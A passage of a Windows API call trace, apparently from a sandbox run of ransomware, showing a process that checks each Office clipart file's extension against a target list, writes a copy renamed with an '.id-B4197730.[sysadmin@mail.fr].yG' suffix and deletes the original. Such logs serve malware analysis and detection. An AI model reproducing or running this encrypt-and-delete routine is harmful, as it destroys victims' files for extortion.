	[0054.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0054.397] lstrlenW (lpString=".jpg") returned 4
	[0054.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.412] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.412] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0054.413] GetLastError () returned 0x0
	[0054.413] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x2458, lpOverlapped=0x0) returned 1
	[0054.446] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2460, lpOverlapped=0x0) returned 1
	[0054.447] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.447] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.447] SetEndOfFile (hFile=0x2e0) returned 1
	[0054.447] CloseHandle (hObject=0x2e0) returned 1
	[0054.448] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.449] SetEndOfFile (hFile=0x2fc) returned 1
	[0054.450] CloseHandle (hObject=0x2fc) returned 1
	[0054.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.450] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 1
	[0054.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0054.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0054.450] lstrlenW (lpString=".doc") returned 4
	[0054.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.450] lstrlenW (lpString=".docx") returned 5
	[0054.450] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.450] lstrlenW (lpString=".pdf") returned 4
	[0054.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.450] lstrlenW (lpString=".xls") returned 4
	[0054.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.450] lstrlenW (lpString=".xlsx") returned 5
	[0054.450] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.450] lstrlenW (lpString=".ppt") returned 4
	[0054.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0054.451] lstrlenW (lpString=".zip") returned 4
	[0054.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.451] lstrlenW (lpString=".rar") returned 4
	[0054.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.451] lstrlenW (lpString=".bz2") returned 4
	[0054.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.451] lstrlenW (lpString=".7z") returned 3
	[0054.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0054.451] lstrlenW (lpString=".dbf") returned 4
	[0054.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0054.451] lstrlenW (lpString=".1cd") returned 4
	[0054.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0054.451] lstrlenW (lpString=".jpg") returned 4
	[0054.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.451] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.451] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0054.452] GetLastError () returned 0x0
	[0054.452] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x600, lpOverlapped=0x0) returned 1
	[0054.472] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x610, lpOverlapped=0x0) returned 1
	[0054.473] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.473] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.473] SetEndOfFile (hFile=0x2e0) returned 1
	[0054.473] CloseHandle (hObject=0x2e0) returned 1
	[0054.474] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.474] SetEndOfFile (hFile=0x2fc) returned 1
	[0054.474] CloseHandle (hObject=0x2fc) returned 1
	[0054.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.475] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 1
	[0054.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0054.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0054.475] lstrlenW (lpString=".doc") returned 4
	[0054.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.475] lstrlenW (lpString=".docx") returned 5
	[0054.475] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.475] lstrlenW (lpString=".pdf") returned 4
	[0054.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.475] lstrlenW (lpString=".xls") returned 4
	[0054.475] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.475] lstrlenW (lpString=".xlsx") returned 5
	[0054.475] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.476] lstrlenW (lpString=".ppt") returned 4
	[0054.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0054.476] lstrlenW (lpString=".zip") returned 4
	[0054.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.476] lstrlenW (lpString=".rar") returned 4
	[0054.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.476] lstrlenW (lpString=".bz2") returned 4
	[0054.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.476] lstrlenW (lpString=".7z") returned 3
	[0054.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0054.476] lstrlenW (lpString=".dbf") returned 4
	[0054.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0054.476] lstrlenW (lpString=".1cd") returned 4
	[0054.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0054.476] lstrlenW (lpString=".jpg") returned 4
	[0054.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.476] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.476] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0054.477] GetLastError () returned 0x0
	[0054.477] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x9fc, lpOverlapped=0x0) returned 1
	[0054.489] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xa00, lpOverlapped=0x0) returned 1
	[0054.490] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.490] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.490] SetEndOfFile (hFile=0x2e0) returned 1
	[0054.490] CloseHandle (hObject=0x2e0) returned 1
	[0054.491] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.491] SetEndOfFile (hFile=0x2fc) returned 1
	[0054.491] CloseHandle (hObject=0x2fc) returned 1
	[0054.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 1
	[0054.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0054.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0054.492] lstrlenW (lpString=".doc") returned 4
	[0054.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.492] lstrlenW (lpString=".docx") returned 5
	[0054.492] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.492] lstrlenW (lpString=".pdf") returned 4
	[0054.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.492] lstrlenW (lpString=".xls") returned 4
	[0054.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.492] lstrlenW (lpString=".xlsx") returned 5
	[0054.492] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.492] lstrlenW (lpString=".ppt") returned 4
	[0054.492] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0054.492] lstrlenW (lpString=".zip") returned 4
	[0054.492] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.492] lstrlenW (lpString=".rar") returned 4
	[0054.492] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.492] lstrlenW (lpString=".bz2") returned 4
	[0054.492] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.492] lstrlenW (lpString=".7z") returned 3
	[0054.492] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0054.493] lstrlenW (lpString=".dbf") returned 4
	[0054.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0054.493] lstrlenW (lpString=".1cd") returned 4
	[0054.493] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0054.493] lstrlenW (lpString=".jpg") returned 4
	[0054.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.493] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.493] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0054.493] GetLastError () returned 0x0
	[0054.493] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0xa54, lpOverlapped=0x0) returned 1
	[0054.513] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xa60, lpOverlapped=0x0) returned 1
	[0054.514] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.514] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.514] SetEndOfFile (hFile=0x2e0) returned 1
	[0054.514] CloseHandle (hObject=0x2e0) returned 1
	[0054.515] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.515] SetEndOfFile (hFile=0x2fc) returned 1
	[0054.516] CloseHandle (hObject=0x2fc) returned 1
	[0054.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 1
	[0054.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0054.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0054.516] lstrlenW (lpString=".doc") returned 4
	[0054.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.516] lstrlenW (lpString=".docx") returned 5
	[0054.516] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.516] lstrlenW (lpString=".pdf") returned 4
	[0054.517] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.517] lstrlenW (lpString=".xls") returned 4
	[0054.517] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.517] lstrlenW (lpString=".xlsx") returned 5
	[0054.517] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.517] lstrlenW (lpString=".ppt") returned 4
	[0054.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0054.517] lstrlenW (lpString=".zip") returned 4
	[0054.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.517] lstrlenW (lpString=".rar") returned 4
	[0054.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.517] lstrlenW (lpString=".bz2") returned 4
	[0054.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.517] lstrlenW (lpString=".7z") returned 3
	[0054.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0054.517] lstrlenW (lpString=".dbf") returned 4
	[0054.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0054.517] lstrlenW (lpString=".1cd") returned 4
	[0054.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0054.517] lstrlenW (lpString=".jpg") returned 4
	[0054.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.517] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.517] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0054.518] GetLastError () returned 0x0
	[0054.518] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x1044, lpOverlapped=0x0) returned 1
	[0054.525] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1050, lpOverlapped=0x0) returned 1
	[0054.527] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.527] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.527] SetEndOfFile (hFile=0x2e0) returned 1
	[0054.527] CloseHandle (hObject=0x2e0) returned 1
	[0054.528] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.528] SetEndOfFile (hFile=0x2fc) returned 1
	[0054.529] CloseHandle (hObject=0x2fc) returned 1
	[0054.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 1
	[0054.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0054.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0054.530] lstrlenW (lpString=".doc") returned 4
	[0054.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.530] lstrlenW (lpString=".docx") returned 5
	[0054.530] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.530] lstrlenW (lpString=".pdf") returned 4
	[0054.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.530] lstrlenW (lpString=".xls") returned 4
	[0054.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.530] lstrlenW (lpString=".xlsx") returned 5
	[0054.530] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.530] lstrlenW (lpString=".ppt") returned 4
	[0054.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0054.530] lstrlenW (lpString=".zip") returned 4
	[0054.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.530] lstrlenW (lpString=".rar") returned 4
	[0054.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.530] lstrlenW (lpString=".bz2") returned 4
	[0054.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.530] lstrlenW (lpString=".7z") returned 3
	[0054.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0054.530] lstrlenW (lpString=".dbf") returned 4
	[0054.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0054.531] lstrlenW (lpString=".1cd") returned 4
	[0054.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0054.531] lstrlenW (lpString=".jpg") returned 4
	[0054.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.542] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.542] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0054.547] GetLastError () returned 0x0
